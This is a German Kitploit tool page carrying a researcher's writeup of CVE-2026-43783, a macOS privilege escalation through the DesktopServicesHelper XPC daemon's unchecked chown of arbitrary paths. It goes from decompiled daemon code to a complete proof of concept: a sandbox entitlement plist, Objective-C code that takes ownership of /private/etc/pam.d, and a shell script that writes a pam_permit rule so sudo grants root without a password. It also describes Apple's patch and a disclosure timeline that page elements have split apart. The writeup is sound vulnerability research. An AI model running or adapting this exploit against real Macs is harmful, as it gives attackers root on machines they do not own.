Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-43783 — Proof-of-Concept und technischer Writeup für CVE-2026-43783, eine lokale Rechteausweitung unter macOS über DesktopServicesHelper XPC beliebiges chown, um Root-Rechte zu erlangen. | Kitploit
Tools/GitHubGitHub/andrd3v/cve-2026-43783
Privilege EscalationSchwachstellenanalyseExploitationReverse EngineeringPenetrationstestsBinäranalysePapers & Forschung
GitHubandrd3v/cve-2026-43783

CVE-2026-43783

Proof-of-Concept und technischer Writeup für CVE-2026-43783, eine lokale Rechteausweitung unter macOS über DesktopServicesHelper XPC beliebiges chown, um Root-Rechte zu erlangen.

Repository anzeigen
2vor 6 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-43783: Repair Permissions - Get Root: LPE über DesktopServicesHelper in macOS 26.5

Der Daemon, den Finder verwendet, um Berechtigungen von iCloud-Dateien zu „reparieren", stellte sich als bereit heraus, Berechtigungen an allem zu reparieren – einschließlich Systemverzeichnissen. In diesem Artikel schauen wir uns an, wie DesktopServicesHelper unter der Haube funktioniert und warum eine einzige XPC-Anfrage ausreichte, um Root zu erlangen.

Inside DesktopServicesHelper

Ich suchte nach Zielen mit com.apple.private.tcc.allow mit dem Wert kTCCServiceSystemPolicyAllFiles und DesktopServicesHelper fiel mir auf. DesktopServicesHelper befindet sich unter /System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Versions/A/Resources/DesktopServicesHelper, und Finder verwendet es für Dateioperationen, die erhöhte Rechte erfordern: Verschieben von Dateien, Setzen von Berechtigungen, Arbeiten mit dem Papierkorb.

Entitlements DesktopServicesHelper

Lud die Binärdatei in IDA und ging zu start(). Nach dem üblichen Timer- und Queue-Setup erstellt es einen XPC-Listener – den Einstiegspunkt des Daemons. Der Listener registriert einen Mach-Service unter einem bestimmten Namen und beginnt, auf eingehende Verbindungen zu lauschen. Jeder Prozess, der diesen Namen kennt, kann sich verbinden und eine Anfrage senden. Hier ist der entscheidende Teil:```c // get the service name v16 = (const char *)sub_1000709F4(a1: 0);

// register the listener mach_service = xpc_connection_create_mach_service(name: v16, targetq: nullptr, flags: 1u);

// set the incoming event handler xpc_connection_set_event_handler(connection: mach_service, handler: &stru_1000B4B48); xpc_connection_resume(connection: mach_service);

// start the event loop CFRunLoopRun();

root@kitploit:~
Die Funktion `sub_1000709F4` gibt den Mach-Service-Namen zurück. In `start()` wird sie mit dem Argument 0 aufgerufen, was bedeutet, dass der Daemon sich unter dem Namen `com.apple.DesktopServicesHelper` registriert.```c
const char *__fastcall sub_1000709F4(int a1)
{
  if ( a1 != 0 )
    return "com.apple.DesktopServicesScriptingHelper";
  else
    return "com.apple.DesktopServicesHelper";
}

stru_1000B4B48 ist ein Handler-Block (Callback), den der Daemon für jedes eingehende Ereignis aufruft. XPC ist nachrichtenorientiert: Der Client erstellt ein Dictionary mit Schlüsseln und Werten, sendet es an den Daemon, und der Daemon analysiert den Inhalt und entscheidet, was zu tun ist. Alle eingehenden Ereignisse landen in diesem Handler. Schauen wir hinein.

stru_1000B4B48 in IDA

Die Invoke-Funktion des Blocks ist sub_100032044. Bei einer neuen Verbindung ruft der Daemon zunächst die euid und egid des Clients ab – effektive Benutzer-ID und Gruppen-ID – die Bezeichner des Benutzers und der Gruppe, unter denen der verbindende Prozess läuft:```c euid = xpc_connection_get_euid(connection: v8); egid = xpc_connection_get_egid(connection: v8); sub_100071268(a1: euid, a2: egid);

root@kitploit:~
Dann weist es einen Handler für eingehende Nachrichten auf der Verbindung zu:```c
v15[2] = sub_10003AB2C;  // block's invoke function
xpc_connection_set_event_handler(connection: v14, handler: v15);
xpc_connection_resume(connection: v14);

sub_10003AB2C - hier treffen die tatsächlichen XPC-Anfragen vom Client ein. Jetzt müssen wir verstehen, wie der Daemon entscheidet, welche Anfragen ausgeführt und welche abgelehnt werden.

Request-Dispatcher

sub_10003AB2C ist der Haupt-Dispatcher. Hier entscheidet der Daemon, was mit einer Anfrage geschehen soll. Die Funktion ist groß, also zerlegen wir sie.

Zuerst holt sie den "request"-String aus der Nachricht - den Befehlsnamen, den der Client ausführen möchte:```c reply = xpc_dictionary_create_reply(original: v12); string = xpc_dictionary_get_string(xdict: v12, key: "request"); // ... // logging: "Got Request '%{public}@'"

root@kitploit:~
Dann ruft der Daemon das Audit-Token des verbindenden Prozesses ab und prüft, ob dieser innerhalb der App Sandbox läuft. Die App Sandbox ist ein macOS-Mechanismus zur Anwendungsisolierung, der den Zugriff auf das Dateisystem, das Netzwerk und andere Ressourcen einschränkt. Hier verzweigt es sich:```c
xpc_dictionary_get_audit_token(a1: v12, a2: buf);
qmemcpy(__p, buf, sizeof(__p));
if ( (unsigned int)sandbox_check_by_audit_token(a1: __p, a2: 0, a3: 0) != 0 )
{
  // client is sandboxed - check against allowlist
  if ( (sub_10003B25C(a1: &v32, a2: "Handshake") & 1) == 0
    && (sub_10003B25C(a1: &v32, a2: "exit") & 1) == 0
    && (sub_10003B25C(a1: &v32, a2: "SetDefaultPermissionOnHomeSubdirectories") & 1) == 0
    && (sub_10003B25C(a1: &v32, a2: "MoveAsideICloudToArchiveInHome") & 1) == 0
    && (sub_10003B25C(a1: &v32, a2: "RepairPermissionsForCloudItems") & 1) == 0
    && (sub_10003B25C(a1: &v32, a2: "CopyClientActive") & 1) == 0
    && (sub_10003B25C(a1: &v32, a2: "DeleteItem") & 1) == 0 )
  {
    sub_100034250(a1: v12, a2: &v32); // not in the list - kill the daemon
  }
}
else
{
  // client is not sandboxed - check entitlement
  *(_QWORD *)buf = sub_1000343C0(a1: v12, a2: CFSTR("com.apple.private.tcc.allow"));
  v19 = (const __CFArray *)sub_10003B1E0();
  v20 = v19;
  if ( v19 == nullptr
    || (v35.length = CFArrayGetCount(theArray: v19),
        v35.location = 0,
        CFArrayContainsValue(theArray: v20, range: v35, value: CFSTR("kTCCServiceSystemPolicyAllFiles")) == 0) )
  {
    sub_100034250(a1: v12, a2: &v32); // no entitlement - kill the daemon
  }
}

Wenn der Client in einer Sandbox läuft, wird der Anforderungsname gegen eine Allowlist mit sieben Zeichenketten geprüft. Wenn er übereinstimmt, ist die Prüfung bestanden und die Anforderung wird durchgelassen. Wenn nicht, beendet sub_100034250 den Daemon. Wenn der Client nicht in einer Sandbox läuft, prüft der Daemon auf die Entitlement com.apple.private.tcc.allow mit dem Wert kTCCServiceSystemPolicyAllFiles. Kein Entitlement bedeutet ebenfalls den Tod.

Nach bestandener Prüfung durchläuft die Anforderung zwei Handler-Tabellen. Zuerst sub_10002F7C8, dann sub_10002A194:```c // first table (8 commands, two arguments) v21 = sub_10002F7C8(a1: buf); // ... if ( v21 != 0 ) v22(a1: v12, a2: v11); // found - invoke

// second table (21 commands, three arguments) v27 = sub_10002A194(a1: buf); // ... if ( v27 != nullptr ) v27(a1: v12, a2: reply, a3: v11); // found - invoke

root@kitploit:~
Schauen wir uns nun die Handler-Tabellen an. Die erste Tabelle (`sub_10002F7C8`):```c
__int64 __fastcall sub_10002F7C8(__int64 a1)
{
  __int64 result; // x0
  void **v3; // x21
  void **v4; // x8
  _BYTE v5[32]; // [xsp+8h] [xbp-128h] BYREF
  __int64 v6; // [xsp+28h] [xbp-108h] BYREF
  __int64 v7; // [xsp+48h] [xbp-E8h] BYREF
  __int64 v8; // [xsp+68h] [xbp-C8h] BYREF
  __int64 v9; // [xsp+88h] [xbp-A8h] BYREF
  __int64 v10; // [xsp+A8h] [xbp-88h] BYREF
  __int64 v11; // [xsp+C8h] [xbp-68h] BYREF
  __int64 v12; // [xsp+E8h] [xbp-48h] BYREF
  __int64 v13; // [xsp+108h] [xbp-28h] BYREF

  if ( (atomic_load_explicit((atomic_uchar *volatile)&qword_1000BD8C8, memory_order_acquire) & 1) == 0
    && __cxa_guard_acquire(a1: &qword_1000BD8C8) != 0 )
  {
    sub_10002AA78(a1: (int)v5, __s: "OperationSizing");
    sub_10002AA78(a1: (int)&v6, __s: "SetChildPermissions");
    sub_10002AA78(a1: (int)&v7, __s: "RunTrashOperation");
    sub_10002AA78(a1: (int)&v8, __s: "ChildCreateLock");
    sub_10002AA78(a1: (int)&v9, __s: "RunSetRootMetadata");
    sub_10002AA78(a1: (int)&v10, __s: "RunCopyMoveOperation");
    sub_10002AA78(a1: (int)&v11, __s: "DeleteBackup");
    sub_10002AA78(a1: (int)&v12, __s: "DeleteItem");
    sub_10003BDDC(a1: &unk_1000BD8A0, a2: v5, a3: 8);
    v3 = (void **)&v13;
    do
    {
      v4 = v3;
      v3 -= 4;
      if ( *((char *)v4 - 9) < 0 )
        operator delete(__p: *v3);
    }
    while ( v3 != (void **)v5 );
    __cxa_guard_release(a1: &qword_1000BD8C8);
  }
  result = sub_10003BCF0(a1: &unk_1000BD8A0, a2: a1);
  if ( result != 0 )
    return *(_QWORD *)(result + 40);
  return result;
}

Nichts Interessantes hier. Acht Handler (OperationSizing, SetChildPermissions, ...), alle hinter Entitlement-Prüfungen abgesichert. Aber es gibt eine zweite Tabelle - v27 = sub_10002A194(a1: buf):```c __int64 __fastcall sub_10002A194(__int64 a1) { __int64 result; // x0 void **v3; // x21 void **v4; // x8 _BYTE v5[32]; // [xsp+8h] [xbp-2C8h] BYREF __int64 v6; // [xsp+28h] [xbp-2A8h] BYREF __int64 v7; // [xsp+48h] [xbp-288h] BYREF __int64 v8; // [xsp+68h] [xbp-268h] BYREF __int64 v9; // [xsp+88h] [xbp-248h] BYREF __int64 v10; // [xsp+A8h] [xbp-228h] BYREF __int64 v11; // [xsp+C8h] [xbp-208h] BYREF __int64 v12; // [xsp+E8h] [xbp-1E8h] BYREF __int64 v13; // [xsp+108h] [xbp-1C8h] BYREF __int64 v14; // [xsp+128h] [xbp-1A8h] BYREF __int64 v15; // [xsp+148h] [xbp-188h] BYREF __int64 v16; // [xsp+168h] [xbp-168h] BYREF __int64 v17; // [xsp+188h] [xbp-148h] BYREF __int64 v18; // [xsp+1A8h] [xbp-128h] BYREF __int64 v19; // [xsp+1C8h] [xbp-108h] BYREF __int64 v20; // [xsp+1E8h] [xbp-E8h] BYREF __int64 v21; // [xsp+208h] [xbp-C8h] BYREF __int64 v22; // [xsp+228h] [xbp-A8h] BYREF __int64 v23; // [xsp+248h] [xbp-88h] BYREF __int64 v24; // [xsp+268h] [xbp-68h] BYREF __int64 v25; // [xsp+288h] [xbp-48h] BYREF __int64 v26; // [xsp+2A8h] [xbp-28h] BYREF

if ( (atomic_load_explicit((atomic_uchar *volatile)&qword_1000BD898, memory_order_acquire) & 1) == 0 && __cxa_guard_acquire(a1: &qword_1000BD898) != 0 ) { sub_10002AA78(a1: (int)v5, __s: "Handshake"); sub_10002AA78(a1: (int)&v6, __s: "MoveAndRename"); sub_10002AA78(a1: (int)&v7, __s: "SetDefaultPermissionOnHomeSubdirectories"); sub_10002AA78(a1: (int)&v8, __s: "MoveAsideICloudToArchiveInHome"); sub_10002AA78(a1: (int)&v9, __s: "RepairPermissionsForCloudItems"); sub_10002AA78(a1: (int)&v10, __s: "CheckPermissionsForCloudItem"); sub_10002AA78(a1: (int)&v11, __s: "AbortResumableCopy"); sub_10002AA78(a1: (int)&v12, __s: "SetLabel"); sub_10002AA78(a1: (int)&v13, __s: "SetAppCategories"); sub_10002AA78(a1: (int)&v14, __s: "CreateIconFile"); sub_10002AA78(a1: (int)&v15, __s: "RemoveIconFile"); sub_10002AA78(a1: (int)&v16, __s: "RepairTrash"); sub_10002AA78(a1: (int)&v17, __s: "Rename"); sub_10002AA78(a1: (int)&v18, __s: "CreateFolder"); sub_10002AA78(a1: (int)&v19, __s: "CreateAlias"); sub_10002AA78(a1: (int)&v20, __s: "RemoveTrashItemsOlderThanDate"); sub_10002AA78(a1: (int)&v21, __s: "SetTags"); sub_10002AA78(a1: (int)&v22, __s: "cancel"); sub_10002AA78(a1: (int)&v23, __s: "pause"); sub_10002AA78(a1: (int)&v24, __s: "resume"); sub_10002AA78(a1: (int)&v25, __s: "exit"); sub_10003B360(a1: &unk_1000BD870, a2: v5, a3: 21); v3 = (void **)&v26; do { v4 = v3; v3 -= 4; if ( *((char *)v4 - 9) < 0 ) operator delete(__p: *v3); } while ( v3 != (void **)v5 ); __cxa_guard_release(a1: &qword_1000BD898); } result = sub_10003BCF0(a1: &unk_1000BD870, a2: a1); if ( result != 0 ) return *(_QWORD *)(result + 40); return result; }

root@kitploit:~
Das ergibt 21 Handler. Der Dispatcher arbeitet als Kaskade: Zuerst sucht er den Anforderungsnamen in der ersten Tabelle (`sub_10002F7C8`, 8 Befehle) – dies sind „Fire-and-Forget“-Operationen, die die XPC-Verbindung und den Peer (Client-Objekt) entgegennehmen, aber keine Antwort zurückgeben. Wird er nicht gefunden, durchsucht er die zweite Tabelle (`sub_10002A194`, 21 Befehle) – dies sind Operationen mit einer Antwort, die zusätzlich eine Reply erhalten (Objekt zum Zurücksenden des Ergebnisses an den Client).
Fast alle Befehle tun entweder nichts Interessantes oder sind hinter Entitlement-Prüfungen gesperrt. Aber einer ist offen – `RepairPermissionsForCloudItems`. Suchen wir seinen Handler. Im Assembly sehen wir, dass `sub_10002AA78` einen Funktionszeiger als drittes Argument entgegennimmt:```asm
__text:000000010002A2AC                 MOV             X2, X16
__text:000000010002A2B0                 MOV             X0, X20 ; int
__text:000000010002A2B4                 BL              sub_10002AA78
__text:000000010002A2B8                 ADD             X21, SP, #0x2D0+var_2C8
__text:000000010002A2BC                 ADD             X20, X21, #0x80
__text:000000010002A2C0                 ADRL            X1, aRepairpermissi ; "RepairPermissionsForCloudItems"
__text:000000010002A2C8                 ADRL            X16, sub_10002D744
__text:000000010002A2D0                 PACIZA          X16

RepairPermissionsForCloudItems -> sub_10002D744. Wir haben den einzigen Handler gefunden, der von der Sandbox ohne zusätzliche Entitlements erreichbar ist. Nun schauen wir uns an, was er tatsächlich mit den empfangenen Daten macht.

Analyse des RepairPermissionsForCloudItems-Handlers

Der Handler sub_10002D744 erledigt drei Dinge. Zuerst extrahiert er den Schlüssel "Paths" aus der XPC-Nachricht und deserialisiert ihn über NSKeyedUnarchiver in ein String-Array:```c v8 = objc_claimAutoreleasedReturnValue((id)sub_100028810(a1: v5, a2: "Paths")); v9 = objc_claimAutoreleasedReturnValue( +[NSKeyedUnarchiver unarchivedArrayOfObjectsOfClass:fromData:error:]( &OBJC_CLASS___NSKeyedUnarchiver, "unarchivedArrayOfObjectsOfClass:fromData:error:", objc_opt_class(a1: &OBJC_CLASS___NSString), v8, &v25));

root@kitploit:~
Dann übergibt es jeden Pfad über `sub_100034B5C` an `sub_100029CE4`, um festzustellen, ob eine „Reparatur" erforderlich ist. Für Pfade, die repariert werden müssen, ruft es `sub_10002A11C` auf:```c
sub_100034B5C(a1: v22, a2: v24, a3: sub_100029CE4);
if ( v22[0] != v22[1] )
  sub_10002A11C(a1: v5, a2: v22);

Es gibt keine Pfadvalidierung: Was auch immer übergeben wird, wird verarbeitet. Die Funktion sub_100029CE4 prüft, ob eine "Reparatur" erforderlich ist. Hier ist die entscheidende Logik:```c v3 = lstat(a1: v2, a2: &v28); // ... if ( (v28.st_mode & 0xF000) != 0x4000 && v28.st_nlink > 1u ) return false; // not a directory + hardlinks > 1 - skip v6 = sub_100071288(a1: v4); // get caller's UID if ( v28.st_uid != v6 ) return true; // owner doesn't match - repair needed

root@kitploit:~
Die Prüflogik:```
lstat(path)
  |
  +- not a directory && hardlinks > 1 ?
  |     +- yes -> false (skip)
  |
  +- st_uid == our UID ?
  |     +- yes -> false (owner matches, no repair needed)
  |     +- no -> true (repair needed)
  |
  +- directory ?
        +- yes -> recurse into contents

Für Pfade, die repariert werden müssen, wird sub_10002A11C aufgerufen – eine einfache Schleife, die über die Ergebnisse iteriert und für jedes einzelne sub_100029440 aufruft. Hier ist die Kernlogik von sub_100029440:```c fd = open(path, 0x200000); fstat(fd, &st);

// only check: not a directory + hardlinks >= 2 - skip if ( (st.st_mode & 0xF000) != 0x4000 && st.st_nlink >= 2u ) return close(fd);

// get caller's UID (ours - 501) caller_uid = sub_100071288();

// owner doesn't match - change to ours if ( st.st_uid != caller_uid ) fchown(fd, caller_uid, st.st_gid);

close(fd);

// if directory - recursively call itself for each item if ( (st.st_mode & 0xF000) == 0x4000 ) sub_100029440(child_path);

root@kitploit:~
Das ist alles. Der Daemon ruft `fchown` auf jedem angegebenen Pfad auf, ohne zu prüfen, ob er sich in `~/Library/Mobile Documents/` oder einem iCloud-Container befindet. Und wenn der Pfad ein Verzeichnis ist, durchläuft die Funktion rekursiv alle seine Inhalte und ruft `fchown` für jedes Element auf.
Lies das noch einmal. Lass es sacken. Übergib irgendein Verzeichnis – und du besitzt alle seine Inhalte.

## Zusammenfassung

Die vollständige Kette von der XPC-Anfrage bis zu `fchown`:```
Sandboxed app
  |
  +- xpc_connection_create_mach_service("com.apple.DesktopServicesHelper")
  |
  +- xpc_dictionary: "request" = "RepairPermissionsForCloudItems"
  |                   "Paths"   = ["/private/etc/pam.d"]
  |
  +- send --> DesktopServicesHelper (root)
                    |
                    +- sandbox_check: client sandboxed? -> yes
                    +- allowlist: RepairPermissionsForCloudItems? -> yes, pass through
                    +- NSKeyedUnarchiver: extract paths
                    +- lstat: st_uid != caller_uid? -> yes, repair needed
                    +- fchown(path, 501, gid) <- arbitrary path, no validation

Eine XPC-Anfrage – und jede Datei oder jedes Verzeichnis gehört uns.

Ausnutzung

Wir haben also ein beliebiges chown auf jeden Pfad auf der Festplatte. Jetzt müssen wir es nur noch in Root umwandeln. Unter macOS läuft die Authentifizierung über PAM. Die Konfigurationen befinden sich in /private/etc/pam.d/ – eine Datei pro Programm, das Passwörter prüft: sudo, login, su usw. Das Verzeichnis gehört root:wheel. Wir können also mit unserem chown dessen Eigentümerschaft übernehmen. Danach können wir frei die Datei /private/etc/pam.d/sudo_local mit einer einzigen Zeile erstellen:``` auth sufficient pam_permit.so

root@kitploit:~
`pam_permit.so` ist ein PAM-Modul, das immer Erfolg zurückgibt. `sudo` prüft `sudo_local` vor der Hauptkonfiguration. Ergebnis: `sudo` fragt nicht mehr nach einem Passwort.

Aber es gibt einen Haken. Man kann sich nicht einfach aus der Sandbox mit `com.apple.DesktopServicesHelper` verbinden: Die Sandbox blockiert standardmäßig mach-lookup zu diesem Dienst. Aber der Daemon selbst prüft, ob der aufrufende Prozess gesandboxt ist – und lässt erst dann `RepairPermissionsForCloudItems` ohne Entitlement-Prüfung durch. Die Ironie: Die Sandbox ist hier keine Verteidigung – sie ist ein Freifahrtschein.

Um mach-lookup an der Sandbox vorbeizubekommen, brauchen wir das Entitlement `com.apple.security.temporary-exception.mach-lookup.global-name`. Hier ist das minimale Entitlement-Set für die PoC-Anwendung:```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>com.apple.security.app-sandbox</key>
    <true/>
    <key>com.apple.security.temporary-exception.mach-lookup.global-name</key>
    <array>
        <string>com.apple.DesktopServicesHelper</string>
    </array>
</dict>
</plist>

Zwei Entitlements. com.apple.security.app-sandbox - aktiviert die Sandbox (ohne sie würde der Daemon ein TCC-Entitlement verlangen und uns ablehnen). com.apple.security.temporary-exception.mach-lookup.global-name - ein Sandbox-Ausnahme-Entitlement. Die Sandbox erlaubt keine Verbindungen zu allen Mach-Diensten, und com.apple.DesktopServicesHelper steht nicht auf der erlaubten Liste. Dieser Schlüssel fügt eine Ausnahme für einen bestimmten Dienst hinzu. Das ist alles, was wir brauchen. Der Code kommt direkt in ViewController.m. Die Schlüsselmethode ist chownPath:, die sich mit dem Daemon verbindet und die Anfrage sendet:```objc

  • (void)chownPath:(NSString *)path { xpc_connection_t conn = xpc_connection_create_mach_service( "com.apple.DesktopServicesHelper", NULL, 0); if (!conn) return;

    xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {}); xpc_connection_resume(conn);

    NSData *archived = [NSKeyedArchiver archivedDataWithRootObject:@[ path ] requiringSecureCoding:YES error:nil];

    xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_string(msg, "request", "RepairPermissionsForCloudItems"); xpc_dictionary_set_data(msg, "Paths", archived.bytes, archived.length);

    xpc_connection_send_message_with_reply_sync(conn, msg); }

root@kitploit:~
Wir verbinden uns mit `com.apple.DesktopServicesHelper`, archivieren den Pfad über `NSKeyedArchiver` in ein `NSArray` (wie es der Daemon erwartet), konstruieren ein XPC-Dictionary mit dem Schlüssel `"request"` = `"RepairPermissionsForCloudItems"` und senden es.

Beim App-Start rufen wir `chownPath:` auf `/private/etc/pam.d` auf und prüfen das Ergebnis:```objc
- (void)runExploit
{
  [self chownPath:@"/private/etc/pam.d"];
  usleep(200000);

  struct stat st;
  if (lstat("/private/etc/pam.d", &st) != 0) return;

  if (st.st_uid == getuid())
      NSLog(@"ok");
}

200ms warten, dann lstat - wenn der Eigentümer zu unserer UID geändert wurde, war das chown erfolgreich.

Jetzt setzen wir alles zusammen. Das Shell-Skript startet die PoC-Anwendung, wartet darauf, dass der Daemon seine Arbeit erledigt, überprüft, ob das chown erfolgreich war, schreibt die PAM-Regel und erlangt Root:```sh #!/bin/sh set -e

PAM_DIR="/private/etc/pam.d" SUDO_LOCAL="$PAM_DIR/sudo_local"

our application

./poc.app/Contents/MacOS/poc & POC_PID=$! sleep 4 kill $POC_PID 2>/dev/null || true wait $POC_PID 2>/dev/null || true

if [ "$(stat -f %u "$PAM_DIR")" != "$(id -u)" ]; then echo "chown failed" exit 1 fi

echo 'auth sufficient pam_permit.so' > "$SUDO_LOCAL" chmod 644 "$SUDO_LOCAL"

root

sudo id sudo su

root@kitploit:~
## Apples Patch
Apple fügte ganz am Anfang des `RepairPermissionsForCloudItems`-Handlers eine Berechtigungsprüfung hinzu:```c
if ( (sub_100034110(a1: v5,
        a2: CFSTR("com.apple.private.desktopservices.cloud-repair-perm")) & 1) == 0 )
{
  sub_100034250(a1: v5, a2: v22); // no entitlement - kill the daemon
}

Nun können nur noch Prozesse mit der privaten Entitlement com.apple.private.desktopservices.cloud-repair-perm RepairPermissionsForCloudItems aufrufen. Ohne diese beendet sub_100034250 den Daemon. Die restliche Logik der Funktion bleibt unverändert.

Zeitverlauf

DatumEreignis
05.09.2026Bericht an Apple Product Security übermittelt
05.11.2026

Danke fürs Lesen, viel Erfolg bei der Fehlersuche!

Tool herunterladen
Apple hat den Bericht zur Prüfung weitergeleitet
05.13.2026Apple hat den Fehler reproduziert, Fix für Herbst geplant
05.26.2026Patch in macOS 26.6 Beta 1
08.11.2026CVE-2026-43783 zugewiesen